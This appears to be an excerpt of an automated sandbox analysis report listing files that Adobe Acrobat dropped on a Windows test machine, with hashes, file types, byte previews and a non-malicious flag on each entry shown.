Encrypted:	false
SSDEEP:	384:Cexci5GaiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:O6urVgazUpUTTGt
MD5:	40FA68D863570C788E2869D32150917A
SHA1:	8BDC366C3AB44DF018E2F3D004291CD09DEE9259
SHA-256:	862D58355792968BD542E9441634A98164FF688D6B7AE3821E74220B72A39BED
SHA-512:	EE8EEE72C7BC6D322B731FC5E9392A0CADA5EC11920FE05DE734544E3E646A6402E9B075BE55AD1FA4C6EF2C9F111E9AA5085D0BF26CDD83A7CC34FE911A7571
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2126021313601174
Encrypted:	false
SSDEEP:	24:7+t9Fj6wKwqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9M+:7M9VWwq/mFTIF3XmHjBoGGR+jMz+LhXn
MD5:	6AE7E039877463E27FAB4075CFE486F5
SHA1:	6C7DE29F5A94A6AAE932BDF215C073449838EFED
SHA-256:	00B503C9B2D044FDCA7EB0D448CE932C6DF2586305523C94A3813302AA707B13
SHA-512:	CD0937F328567342733EF3A653DE915F3CCE6A73FC46D57AE14A5D37A10B054FE68A87E89C37657A5A4FA4697A13A3C5D1AAAD22D70B07E1CF31D9F44F2A6469
Malicious:	false
Preview:	.... .c.....4QTi........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklA4ZGbN/ltfllXlE/HT8konJ1NNX8RolJuRdxLlGB9lQRYwpDdt:kKZbbNteT8f7NMa8RdWBwRd
MD5:	F0D8957E14336EFC5993EEC1CC83A3A0
SHA1:	A6BF1F0F596667EEA616303065F90CC5B791A3CE
SHA-256:	9F81FFF5D4C9FA2A5078DF89625E483607E49F11D33F405236D9C9FC07A81C49
SHA-512:	DC2BF7A8560252C305CE05AB22D20E8B03CB2060906CFFB6CBC21EF8E6F2F3FE2C9C3A4B8DF2439054858160D4ECE874DE2CCCE842D0C25412E1EDB5858411F3
Malicious:	false
Preview:	p...... ........s...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2307953048318385
Encrypted:	false
SSDEEP:	6:kK95L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:3iDImsLNkPlE99SNxAhUe/3
MD5:	CACABF969616BEE83240958FA918B54C
SHA1:	E1C55683ACA488618B0BEF300D5357FBBBCBD28B
SHA-256:	F1F0AB5BAEBC87059A1D39A2CBE12C4EC6F30A8A8FD224FDB40B3873BB4D6173
SHA-512:	31BB222944427BC2DC4CAD94A6153AEF6E9D4FF878D436E2FFFF8DFA742601D524C69CC0008050CB884AB0D27148AA46AE3EC2F1F54F2B645A0E760985753937
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5112

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5112

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.380354045453087
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWWhTIJQWXP4WsGiIPEeOF0YUnkoAvJM3g98kUwPeUkwRe9:YvXKXBdFmDXTsdTeOCXGMbLUkee9
MD5:	C32E2877141D3E0E6A7CE375DD35D5C9
SHA1:	F7EDD8306AA4EC97C95C74C01AE9D3D9FB83A756
SHA-256:	188E5EB3D459C108C743A7C9FD378F5778F419A59DB0401A7098B894B5E6EB67
SHA-512:	2A7EFCED7610DB0CA56DA5F539EF92B3744C3360A7B454BEB45B6473149A5C7C61981A92F0DB1E9F70B508EBF8556FA328E7786AFC02410025905FC386699B8E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.313830426149127
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWWhTIJQWXP4WsGiIPEeOF0YUnkoAvJfBoTfXpnrPeUkwRe9:YvXKXBdFmDXTsdTeOCXGWTfXcUkee9
MD5:	CFD2F80F5790CAD5A805E847A33F64B8
SHA1:	B3E69785EE7D2F6AD8B7A669ECC3720C600EC3B6
SHA-256:	50AF07501879DD164B027F235CE46244BE4D106AB32DC4BA5DD45249263937E6
SHA-512:	4722170A274FE50A12BC70ACC35348BFDAD08596E489CAEED7607B087FE543A11547EA5B03F693149EF0C2DA09F3A01052E7D4FF00B3A3FADE0B970C3B6B967C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.29335660922316
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWWhTIJQWXP4WsGiIPEeOF0YUnkoAvJfBD2G6UpnrPeUkwRe9:YvXKXBdFmDXTsdTeOCXGR22cUkee9
MD5:	8D72A015F9BA26B477FA4DBD7FB95053
SHA1:	A2381897DDB7D67CF4916C7057F1CA9FB66EA1D0
SHA-256:	B2E024E0816EB75B745BE2FED869F3A66C8AC5EAB820361267FC52902289F2FA
SHA-512:	6CD04716992EF3AAA2E9C5761423F58F62E60640B71B301E95AAFF7B8258BA929D62F32C809886E34BA904F2D3C118A6C8C0C5B3E767E709FD04ED376BC0A415
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.367828512086354
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWWhTIJQWXP4WsGiIPEeOF0YUnkoAvJfPmwrPeUkwRe9:YvXKXBdFmDXTsdTeOCXGH56Ukee9
MD5:	D7D87B4E81AE2CE1CFBCAEE779C03F79
SHA1:	7D192378D13EB1A81A50B815824565ED786B8407
SHA-256:	1AFE2A09F39D256678DCC37D236EE472BF2B0F49A116B29BF579784D7F137B89
SHA-512:	3BF5A19BFE6C39BDAE79048A0A14FBE132A2C8B2E6FAA45C0506AC648DE37380B7CB70E351F9C116F04ED93527A0874FE75727CE16F6A7392D8C1EF503AB745D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689852484864692
Encrypted:	false
SSDEEP:	24:Yv6XBEXTmeOtpLgE9cQx8LennAvzBvkn0RCmK8czOCCSd:YvEEie2hgy6SAFv5Ah8cv/d
MD5:	512E88C3B64F6CB70FF1874003F9C656
SHA1:	E0E83EF9704D981ED93E5F74B92008B69DF7132D
SHA-256:	A607111FC2E9FF2E859BCC2C619B990BD4EB7A6F3478A276A1CA4251BBC84D9C
SHA-512:	166B84C5857A08A2586D2AE5BD328CF65B9D3B8C042AF93D7712316CCA79AB78F971B7045663BF3627CBBF2037E57872CE008DA786CED4748995D5BDFDA4AF40
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302474416207315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWWhTIJQWXP4WsGiIPEeOF0YUnkoAvJf8dPeUkwRe9:YvXKXBdFmDXTsdTeOCXGU8Ukee9
MD5:	4831AE2C4570118F03A49ED64984DEA4
SHA1:	5D01D92C3A2EC53A1731F5AE781D8B594BD0FF35
SHA-256:	4BFCAE75D9FB086325764952B8C12567A76A6789665D423628449F6105053E38
SHA-512:	25145460736973F1434A59B5B644313CA726633221512E106F1CF627F1D1385D5C22E1E34E2A5A8F2011463849435E4D7E6436F292776A1ACCD1E7E5E85F9A9D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.305505846689121
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWWhTIJQWXP4WsGiIPEeOF0YUnkoAvJfQ1rPeUkwRe9:YvXKXBdFmDXTsdTeOCXGY16Ukee9
MD5:	02CC9E1EDDF83FE836E63A132DD84B20
SHA1:	0648F706EA3DF4CE2F70A0AD3502581C1EE6634B
SHA-256:	C15610849DCE5B605F1CAB97B2C89AE9781F95814B6B15A97763613EAFF2BB99
SHA-512:	80A24964563DDD0C5A4A5D100A045207ADBCDCBF941E425719BD0862A5C7E6873376D3CA36D99467F36B66F275DD2F94E153537825882DA26CC1CB1E9AFEA1E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3214355834803095
Encrypted:	false
